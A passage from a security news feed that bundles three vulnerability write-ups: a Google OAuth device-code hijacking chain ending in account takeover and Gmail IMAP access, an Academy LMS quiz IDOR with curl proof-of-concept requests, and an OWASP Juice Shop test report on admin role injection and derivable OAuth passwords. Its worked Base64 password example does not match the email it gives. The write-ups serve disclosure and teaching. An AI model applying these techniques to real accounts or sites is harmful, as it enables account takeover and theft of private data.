thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[VAPT Report Example]]></title>
<description><![CDATA[This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.Setup OWASP Juice Shop Locally Using DockerInstall DockerRun:docker pull bkimmini...]]></description>
<link>https://tsecurity.de/de/3675301/hacking/vapt-report-example/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675301/hacking/vapt-report-example/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This report documents multiple security vulnerabilities identified in the OWASP Juice Shop application. Each finding is described in detail, including severity assessment, exploitation steps and remediation guidance.</p><h3>Setup OWASP Juice Shop Locally Using Docker</h3><h3>Install Docker</h3><p>Run:</p><pre>docker pull bkimminich/juice-shop<br>docker run - rm -p 127.0.0.1:3000:3000 bkimminich/juice-shop</pre><p>Browse to:<br> <a href="http://localhost:3000/">http://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*mwz1GNdYbcw3HOLUQX1vGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*089pKG_zM-T4UOMGPzYjRw.png"></figure><h3>1. Privilege Escalation via User Registration API</h3><h3>Summary (with CWE)</h3><p>The application allows an attacker to self-register an administrator account by directly invoking the user creation API and supplying the role parameter in the request body. Due to missing server-side authorization and role validation, the backend blindly trusts client input. This results in unauthorized privilege escalation, granting full administrative access without authentication or approval.</p><h3>CWE ID</h3><ul><li>CWE-269 — Improper Privilege Management</li><li>CWE-285 — Improper Authorization</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p><h3>Metrics:</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: High</li></ul><p><strong>CVSS Base Score:</strong> 9.8 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop exposes a user registration API endpoint (/api/Users) that accepts user details in JSON format. The backend fails to enforce role based access control during user creation and allows the client to specify sensitive attributes such as role. An attacker can exploit this flaw by sending a crafted POST request with "role":"admin", resulting in the creation of an administrator account without any authorization checks.</p><p>This vulnerability completely compromises the application, as administrative privileges allow full access to sensitive data and management functions.</p><h3>Steps to Reproduce</h3><ol><li>Send a POST request to: http://localhost:3000/api/Users</li><li>Edit request body and add role parameter: { "role": "admin" }</li><li>Submit the request using Burp Suite.</li><li>The server responds with a successful user creation message.</li><li>Log in using the created credentials.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yEWUogo4-1Uor4o5aDkSyQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tam4-35GCakrERj7NHew5g.png"></figure><h3>Suggested Remediation</h3><ul><li>Enforce server-side role control</li><li>Default role assignment</li><li>Allow admin role assignment only through authenticated admin workflows</li><li>Validate permissions on every sensitive endpoint</li></ul><h3>References</h3><ol><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">OWASP Top 10 — Broken Access Control</a></li><li><a href="https://cwe.mitre.org/data/definitions/269.html">CWE-269: Improper Privilege Management</a></li><li><a href="https://cwe.mitre.org/data/definitions/285.html">CWE-285: Improper Authorization</a></li><li><a href="https://owasp.org/www-project-juice-shop/">OWASP Juice Shop Project</a></li></ol><h3>2. OAuth Account Takeover</h3><h3>Summary (with CWE)</h3><p>OWASP Juice Shop implements Google OAuth login in an insecure manner by deterministically generating user passwords on the client side. The password is derived by reversing the user’s email address and Base64-encoding it, which can be easily reproduced by an attacker.</p><p>This design flaw allows an attacker to log in directly using email/password authentication for an OAuth-registered user, resulting in full account takeover without cracking hashes or bypassing authentication controls.</p><h3>CWE ID</h3><ul><li>CWE-522 — Insufficiently Protected Credentials</li><li>CWE-287 — Improper Authentication</li><li>CWE-284 — Improper Access Control</li></ul><h3>Severity (CVSS v3.1)</h3><p><strong>CVSS Vector:</strong><br> CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</p><h3>Metrics</h3><ul><li>Attack Vector: Network</li><li>Attack Complexity: Low</li><li>Privileges Required: None</li><li>User Interaction: None</li><li>Scope: Unchanged</li><li>Confidentiality Impact: High</li><li>Integrity Impact: High</li><li>Availability Impact: None</li></ul><p><strong>CVSS Base Score:</strong> 9.1 (Critical)</p><h3>Description</h3><p>OWASP Juice Shop allows users to register and log in via Google OAuth. During this process, the application uses a client-side JavaScript function userService.oauthLogin() found in main.js.</p><p>The OAuth workflow internally calls:</p><ul><li>userService.save() (user creation)</li><li>userService.login() (standard login)</li></ul><p>Both functions set the user password using the following logic:</p><pre>password = btoa(n.email.split("").reverse().join(""))</pre><h3>Password Generation Logic</h3><ul><li>The email address is reversed.</li><li>The reversed string is Base64-encoded.</li><li>The result is used as the account password.</li></ul><h3>Steps to Reproduce:</h3><h4>Identify OAuth Password Logic</h4><ul><li>Open main.js</li><li>Search for oauthLogin</li><li>Locate: password: btoa(n.email.split("").reverse().join(""))</li></ul><h4>Derive Victim Password</h4><p>Email: bjoern@gmail.com<br> Reversed: moc.liamg@nreojb<br> Base64 encoded password:</p><pre>bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI=</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*vCdCuyVKLSiLH_hhpgCIGA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ICsFhQCtxrXuosRiVJRgOQ.png"></figure><h3>Suggested Remediation</h3><ul><li>Never generate passwords client-side</li><li>Separate 